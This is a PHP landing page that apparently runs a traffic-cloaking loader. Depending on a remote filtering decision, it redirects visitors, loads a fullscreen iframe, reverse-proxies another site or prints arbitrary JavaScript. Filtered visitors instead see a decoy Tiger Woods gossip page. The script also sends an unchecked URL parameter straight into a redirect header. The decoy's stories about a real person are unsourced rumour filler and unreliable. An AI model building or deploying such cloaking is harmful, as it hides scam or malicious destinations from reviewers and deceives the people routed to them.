<?php
$GLOBALS['_ta_campaign_key'] = '55443f08a0e32336211637f08e5fe312';
$GLOBALS['_ta_debug_mode'] = false; //To enable debug mode, set to true or load this script with a '?debug_key=55443f08a0e32336211637f08e5fe312' parameter

require 'bootloader_4d03a2fe0e23b8500855fa4040d8b810.php';

$campaign_id = 'a6u03b';

$ta = new TALoader($campaign_id);


if ($ta->suppress_response()) {//Do not send any output when hybrid mode is enabled and a visitor is being filtered (after hybrid page was generated)
    exit;
}

$response = $ta->get_response();
$visitor = $ta->get_visitor();

/*
 * Advanced users: uncomment lines below during development to expose variables you may want to use in your custom code:
 */
//print_r($response);
//print_r($visitor);
//exit;
/*
 * Don't forget to re-comment the lines above before sending live traffic
 */

/*
Note: when using hybrid mode, please use one of our built-in functions as your final step when routing your visitors:
    print header_redirect("http://url.com"); //performs a 302 header redirect (or a window.location=xxx in JS)
    print load_fullscreen_iframe("http://url.com"); //Loads a fullscreen iframe of the specified URL
    print paste_html("http://url.com"); //Downloads HTML in specified URL and outputs it to the screen (uses JS to insert the HTML in hybrid mode)
(These functions will automatically output either regular HTML or JS code depending on what the visitor's browser is expecting)
*/

switch ($response['action']) {
    case 'header_redirect':
        print header_redirect($response['url']); //Uses <script>window.location='xxx'</script> when in hybrid mode (required behaviour)
        exit;
    case 'iframe':
        print load_fullscreen_iframe($response['url']);
        exit;
    case 'paste_html':
        print paste_html($response['output_html']);
        exit;
    case 'custom_js':
        print $response['custom_js'];
        exit; 
    case 'local_file':
        ob_start();
        $output = include($response['local_file_path']);
        $output = ob_get_clean();
        print paste_html($output);
        exit;                    
    case 'reverse_proxy':
        if(!empty($_GET['rp'])) {
            reverse_proxy($response['url'], "tarp_4d03a2fe0e23b8500855fa4040d8b810/");

            header('location: '.$_GET['rp']);
            exit;
        }

        print reverse_proxy($response['url'], "tarp_4d03a2fe0e23b8500855fa4040d8b810/");
        exit;        
    /* Please be VERY CAREFUL if modifying this block: */
    case 'load_hybrid_page':
        $ta->load_hybrid_page();
        break;
    /* ...it is needed for hybrid mode to function correctly */
    default:
        print other_methods($response['url']);
        break;    
}
/*
 * Note: if using the "Remain on Fail URL" action for Filtered Visitors, append your Fail URL's HTML/PHP code after the closing PHP tag below:
 */
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, viewport-fit=cover">
    <meta name="description" content="Tiger Scoop - The latest news, drama, comebacks and juicy stories about Tiger Woods.">
    <title>Tiger Scoop | Tiger Woods News &amp; Golf Drama</title>
    <style>
        @import url('https://fonts.googleapis.com/css2?family=Playfair+Display:wght@700&amp;family=Roboto:wght@400;500;700&amp;display=swap');
        
        :root {
            --dark: #0a0a0a;
            --green: #006400;
            --gold: #d4af77;
        }
        
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: 'Roboto', sans-serif;
            background: #111;
            color: #eee;
            line-height: 1.6;
            overflow: hidden;
        }

        /* ====================== LOADING SCREEN ====================== */
        #loading-screen {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: #ffffff;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            z-index: 9999;
            transition: opacity 0.8s ease;
        }

        #loading-screen.hidden {
            opacity: 0;
            pointer-events: none;
        }

        .spinner {
            width: 70px;
            height: 70px;
            border: 6px solid #e0e0e0;
            border-top: 6px solid #888888;
            border-radius: 50%;
            animation: spin 1.2s linear infinite;
            margin-bottom: 30px;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        .loading-text {
            color: #111;
            font-family: 'Playfair Display', serif;
            font-size: 2.6rem;
            letter-spacing: 4px;
            font-weight: 700;
        }

        .loading-subtitle {
            color: #555;
            font-size: 1.2rem;
            margin-top: 12px;
        }

        /* ====================== MAIN CONTENT ====================== */
        header, .hero, .main-container, footer {
            display: none !important;
        }

        .loaded header,
        .loaded .hero,
        .loaded .main-container,
        .loaded footer {
            display: block !important;
        }

        /* Header */
        header {
            background: var(--dark);
            position: sticky;
            top: 0;
            z-index: 100;
            border-bottom: 3px solid var(--green);
        }
        
        .nav-container {
            max-width: 1280px;
            margin: 0 auto;
            padding: 1rem 20px;
            display: flex;
            align-items: center;
            justify-content: space-between;
        }
        
        .logo {
            font-family: 'Playfair Display', serif;
            font-size: 2.4rem;
            font-weight: 700;
            color: var(--gold);
            display: flex;
            align-items: center;
            gap: 10px;
        }
        
        .logo::before {
            content: "⛳";
            font-size: 2.2rem;
        }
        
        nav ul {
            display: flex;
            list-style: none;
            gap: 35px;
        }
        
        nav a {
            color: #ddd;
            text-decoration: none;
            font-weight: 500;
            transition: color 0.3s;
        }
        
        nav a:hover {
            color: var(--gold);
        }

        /* Hero */
        .hero {
            background: linear-gradient(rgba(0,0,0,0.75), rgba(0,0,0,0.75)), url('tiger-hero.jpg') center/cover no-repeat;
            height: 560px;
            display: flex;
            align-items: center;
            color: white;
            text-align: center;
        }
        
        .hero-content {
            max-width: 1100px;
            margin: 0 auto;
            padding: 0 20px;
        }
        
        .hero h1 {
            font-family: 'Playfair Display', serif;
            font-size: 4rem;
            margin-bottom: 20px;
        }
        
        .hero p {
            font-size: 1.35rem;
            max-width: 780px;
            margin: 0 auto 30px;
        }

        /* Main Container */
        .main-container {
            max-width: 1280px;
            margin: 0 auto;
            padding: 50px 20px;
            display: grid;
            grid-template-columns: 1fr 340px;
            gap: 50px;
        }
        
        .article-card {
            background: #1a1a1a;
            border-radius: 12px;
            overflow: hidden;
            margin-bottom: 40px;
            transition: transform 0.3s;
        }
        
        .article-card:hover {
            transform: translateY(-6px);
        }
        
        .article-card img {
            width: 100%;
            height: 320px;
            object-fit: cover;
        }
        
        .article-content {
            padding: 28px;
        }
        
        .article-content h2 {
            font-family: 'Playfair Display', serif;
            font-size: 2rem;
            color: var(--gold);
            margin-bottom: 14px;
        }
        
        .meta {
            color: #888;
            font-size: 0.95rem;
            margin-bottom: 16px;
        }
        
        .read-more {
            color: var(--gold);
            font-weight: 600;
            text-decoration: none;
        }

        .sidebar {
            background: #1a1a1a;
            padding: 30px;
            border-radius: 12px;
            position: sticky;
            top: 100px;
            height: fit-content;
        }
        
        .sidebar h3 {
            color: var(--gold);
            margin-bottom: 25px;
            font-size: 1.8rem;
            border-bottom: 2px solid var(--green);
            padding-bottom: 10px;
        }

        .section-header {
            font-family: 'Playfair Display', serif;
            font-size: 2.6rem;
            color: var(--gold);
            text-align: center;
            margin: 60px 0 40px;
        }

        footer {
            background: #0a0a0a;
            padding: 70px 20px 40px;
            text-align: center;
            color: #777;
        }

        @media (max-width: 900px) {
            .main-container {
                grid-template-columns: 1fr;
            }
            .hero h1 {
                font-size: 2.9rem;
            }
        }
    </style>
</head>
<body>

    <!-- LOADING SCREEN -->
    <div id="loading-screen">
        <div class="spinner"></div>
     </div>

    <!-- MAIN CONTENT -->
    <header>
        <div class="nav-container">
            <div class="logo">TIGER SCOOP</div>
            <nav>
                <ul>
                    <li><a href="#">Latest News</a></li>
                    <li><a href="#">Comebacks</a></li>
                    <li><a href="#">PGA Drama</a></li>
                    <li><a href="#">Personal Life</a></li>
                    <li><a href="#">Rivalries</a></li>
                </ul>
            </nav>
            <div style="color:var(--gold); font-weight:600;">⛳ LIVE UPDATES</div>
        </div>
    </header>

    <section class="hero">
        <div class="hero-content">
            <h1>Tiger Woods 2026: The Legend Continues</h1>
            <p>From major championship rumors and recovery updates to off-course drama and legendary rivalries — stay locked in with the latest on the greatest golfer of all time.</p>
            <a href="#" style="background:var(--gold); color:#000; padding:14px 40px; border-radius:50px; text-decoration:none; font-weight:700; display:inline-block;">GET THE LATEST TIGER TEA →</a>
        </div>
    </section>

    <div class="main-container">

        <div class="content">

            <div class="article-card">
                <img src="tgweb2.jpg" alt="Tiger Woods PGA" style="background:#006400; display:flex; align-items:center; justify-content:center; color:white; font-size:1.3rem;">
                <div class="article-content">
                    <div class="meta">PGA TOUR • April 18, 2026</div>
                    <h2>Tiger Hints at Playing The Masters 2027 — “Body Feels Better Than Expected”</h2>
                    <p>In a rare interview, Tiger Woods gave his strongest indication yet that he is targeting a return to competitive golf at next year’s Masters.</p>
                    <a href="#" class="read-more">READ FULL STORY →</a>
                </div>
            </div>

            <div class="article-card">
                <img src="tgweb7.jpg" alt="Tiger Rory rivalry" style="background:#006400; display:flex; align-items:center; justify-content:center; color:white; font-size:1.3rem;">
                <div class="article-content">
                    <div class="meta">RIVALRY • April 15, 2026</div>
                    <h2>Rory McIlroy & Tiger Woods Exchange Words After Latest Tournament</h2>
                    <p>The long-standing respect between the two legends showed signs of tension after a heated discussion on the course.</p>
                    <a href="#" class="read-more">FULL DETAILS →</a>
                </div>
            </div>

            <div class="article-card">
                <img src="tgweb8.jpg" alt="Tiger Woods family" style="background:#006400; display:flex; align-items:center; justify-content:center; color:white; font-size:1.3rem;">
                <div class="article-content">
                    <div class="meta">PERSONAL • April 12, 2026</div>
                    <h2>Tiger Spotted With Kids at Private Golf Club — New Chapter Ahead?</h2>
                    <p>Sources say Tiger is spending more quality time with his children and focusing on passing down his love for the game.</p>
                    <a href="#" class="read-more">INSIDE THE STORY →</a>
                </div>
            </div>

        </div>

        <!-- SIDEBAR -->
        <div class="sidebar">
            <h3>TRENDING RIGHT NOW</h3>
            
            <div class="trending-item" style="margin-bottom:25px; padding-bottom:25px; border-bottom:1px solid #333;">
                <div>
                    <h4 style="color:var(--gold);">Tiger’s Recovery Timeline</h4>
                    <p style="font-size:0.95rem; color:#aaa;">Doctors reportedly optimistic about 2027 season</p>
                </div>
            </div>
            
            <div class="trending-item" style="margin-bottom:25px; padding-bottom:25px; border-bottom:1px solid #333;">
                <div>
                    <h4 style="color:var(--gold);">Nike Deal Rumors</h4>
                    <p style="font-size:0.95rem; color:#aaa;">Is a new lifetime contract in the works?</p>
                </div>
            </div>
            
            <div class="trending-item">
                <div>
                    <h4 style="color:var(--gold);">Next Major Appearance?</h4>
                    <p style="font-size:0.95rem; color:#aaa;">Fans speculate which tournament Tiger will play next</p>
                </div>
            </div>
        </div>
    </div>

    <div style="max-width:1280px; margin:0 auto; padding:0 20px 80px;">
        <h2 class="section-header">More Tiger Woods Stories</h2>
        <div style="display:grid; grid-template-columns:repeat(auto-fit, minmax(300px, 1fr)); gap:30px;">
            <div style="background:#1a1a1a; padding:28px; border-radius:12px;">
                <h3 style="color:var(--gold);">The 2025 Comeback Season</h3>
                <p>Looking back at Tiger’s most inspiring moments last year.</p>
            </div>
            <div style="background:#1a1a1a; padding:28px; border-radius:12px;">
                <h3 style="color:var(--gold);">Training With His Son Charlie</h3>
                <p>How the next generation of Woods is shaping up.</p>
            </div>
            <div style="background:#1a1a1a; padding:28px; border-radius:12px;">
                <h3 style="color:var(--gold);">Business Empire Update</h3>
                <p>Tiger’s growing portfolio beyond the golf course.</p>
            </div>
        </div>
    </div>

    <footer>
        <p style="font-size:1.1rem; margin-bottom:10px;">© 2026 Tiger Scoop • All Rights Reserved</p>
     </footer>

    <script>
        window.addEventListener('load', function() {
            const loadingScreen = document.getElementById('loading-screen');
            
            setTimeout(() => {
                loadingScreen.classList.add('hidden');
                
                setTimeout(() => {
                    document.body.classList.add('loaded');
                    document.body.style.overflow = 'visible';
                }, 900);
            }, 2000);
        });
    </script>
</body>
</html>